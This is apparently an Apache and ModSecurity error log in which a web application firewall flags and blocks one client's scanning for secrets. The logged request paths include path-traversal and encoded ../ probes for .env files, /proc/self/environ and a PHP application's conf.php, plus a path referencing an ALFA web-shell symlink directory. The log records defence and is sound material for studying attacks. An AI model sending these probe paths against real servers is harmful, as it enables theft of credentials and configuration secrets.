[Mon Oct 26 09:23:14.632145 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9UQnYYJ1RlC0FZClQGEwAAABw"]
[Mon Oct 26 09:23:14.632199 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9UQnYYJ1RlC0FZClQGEwAAABw"]
[Mon Oct 26 09:23:14.632246 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9UQnYYJ1RlC0FZClQGEwAAABw"]
[Mon Oct 26 09:23:14.632435 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9UQnYYJ1RlC0FZClQGEwAAABw"]
[Mon Oct 26 09:23:14.632447 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at9UQm8fURIvZEnkWNyOlAAAACs"]
[Mon Oct 26 09:23:14.632489 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at9UQm8fURIvZEnkWNyOlAAAACs"]
[Mon Oct 26 09:23:14.632641 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at9UQm8fURIvZEnkWNyOlAAAACs"]
[Mon Oct 26 09:23:14.632716 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9UQnYYJ1RlC0FZClQGEwAAABw"]
[Mon Oct 26 09:23:14.632867 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at9UQm8fURIvZEnkWNyOlAAAACs"]
[Mon Oct 26 09:23:14.691129 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9UQimtoTVUWKg0WJJg2gAAABI"]
[Mon Oct 26 09:23:14.691359 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9UQimtoTVUWKg0WJJg2gAAABI"]
[Mon Oct 26 09:23:14.691673 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9UQimtoTVUWKg0WJJg2gAAABI"]
[Mon Oct 26 09:23:14.692289 2026] [security2:error] [pid 3038094:tid 3038094] [client 34.77.78.138:49908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9UQiDXv2cbhXnDw02Q0wAAAAU"]
[Mon Oct 26 09:23:14.692441 2026] [security2:error] [pid 3038094:tid 3038094] [client 34.77.78.138:49908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9UQiDXv2cbhXnDw02Q0wAAAAU"]
[Mon Oct 26 09:23:14.692676 2026] [security2:error] [pid 3038094:tid 3038094] [client 34.77.78.138:49908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9UQiDXv2cbhXnDw02Q0wAAAAU"]
[Mon Oct 26 09:23:14.709059 2026] [core:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] AH10244: invalid URI path (/%2e%2e/.env)
[Mon Oct 26 09:23:15.494413 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 23.23.213.182:51819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:23:16.347783 2026] [core:error] [pid 3038665:tid 3038665] [client 34.77.78.138:49948] AH10244: invalid URI path (/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/proc/self/environ)
[Mon Oct 26 09:23:16.350588 2026] [core:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/.env)
[Mon Oct 26 09:23:16.350869 2026] [core:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] AH10244: invalid URI path (/appearance/../../.env)
[Mon Oct 26 09:23:16.351003 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URAbLerFfv4dhcWT2rQAAAAY"]
[Mon Oct 26 09:23:16.351037 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URAbLerFfv4dhcWT2rQAAAAY"]
[Mon Oct 26 09:23:16.366932 2026] [core:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/proc/self/environ)
[Mon Oct 26 09:23:16.371282 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson2.sherwinpinturas.com"] [uri "/api/attachments/img/avatar/../../../../../proc/self/environ"] [unique_id "at9URJRlTJaCWkb9SEGOLgAAAAM"]
[Mon Oct 26 09:23:16.371307 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson2.sherwinpinturas.com"] [uri "/api/attachments/img/avatar/../../../../../proc/self/environ"] [unique_id "at9URJRlTJaCWkb9SEGOLgAAAAM"]
[Mon Oct 26 09:23:17.048024 2026] [core:error] [pid 3038683:tid 3038683] (13)Permission denied: [client 85.208.96.202:53316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/order
[Mon Oct 26 09:23:17.081832 2026] [security2:error] [pid 3038666:tid 3038666] [client 34.77.78.138:49944] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9URT3G63OmGa54b_LceQAAAA0"]
[Mon Oct 26 09:23:17.082507 2026] [security2:error] [pid 3038666:tid 3038666] [client 34.77.78.138:49944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9URT3G63OmGa54b_LceQAAAA0"]
[Mon Oct 26 09:23:17.082832 2026] [security2:error] [pid 3038666:tid 3038666] [client 34.77.78.138:49944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9URT3G63OmGa54b_LceQAAAA0"]
[Mon Oct 26 09:23:17.099909 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49988] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at9URW8fURIvZEnkWNyOlgAAACs"]
[Mon Oct 26 09:23:17.099992 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49988] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at9URW8fURIvZEnkWNyOlgAAACs"]
[Mon Oct 26 09:23:17.103666 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49988] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at9URW8fURIvZEnkWNyOlgAAACs"]
[Mon Oct 26 09:23:17.104156 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49988] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at9URW8fURIvZEnkWNyOlgAAACs"]
[Mon Oct 26 09:23:17.128834 2026] [security2:error] [pid 3038665:tid 3038665] [client 34.77.78.138:49972] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at9URXleYJ4tLNMOw8G3BAAAAAw"]
[Mon Oct 26 09:23:17.129470 2026] [security2:error] [pid 3038665:tid 3038665] [client 34.77.78.138:49972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at9URXleYJ4tLNMOw8G3BAAAAAw"]
[Mon Oct 26 09:23:17.129750 2026] [security2:error] [pid 3038665:tid 3038665] [client 34.77.78.138:49972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at9URXleYJ4tLNMOw8G3BAAAAAw"]
[Mon Oct 26 09:23:17.134209 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URS4y9wbCW0XoP8BjSwAAAAI"]
[Mon Oct 26 09:23:17.134694 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URS4y9wbCW0XoP8BjSwAAAAI"]
[Mon Oct 26 09:23:17.134929 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URS4y9wbCW0XoP8BjSwAAAAI"]
[Mon Oct 26 09:23:17.159095 2026] [security2:error] [pid 3038685:tid 3038685] [client 34.77.78.138:50010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9URVWQiYHq2dLcJk88nQAAABY"]
[Mon Oct 26 09:23:17.159774 2026] [security2:error] [pid 3038685:tid 3038685] [client 34.77.78.138:50010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9URVWQiYHq2dLcJk88nQAAABY"]
[Mon Oct 26 09:23:17.160221 2026] [security2:error] [pid 3038685:tid 3038685] [client 34.77.78.138:50010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9URVWQiYHq2dLcJk88nQAAABY"]
[Mon Oct 26 09:23:17.165962 2026] [security2:error] [pid 3038666:tid 3038666] [client 34.77.78.138:49944] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9URT3G63OmGa54b_LcegAAAA0"]
[Mon Oct 26 09:23:17.166406 2026] [security2:error] [pid 3038666:tid 3038666] [client 34.77.78.138:49944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9URT3G63OmGa54b_LcegAAAA0"]
[Mon Oct 26 09:23:17.166643 2026] [security2:error] [pid 3038666:tid 3038666] [client 34.77.78.138:49944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9URT3G63OmGa54b_LcegAAAA0"]
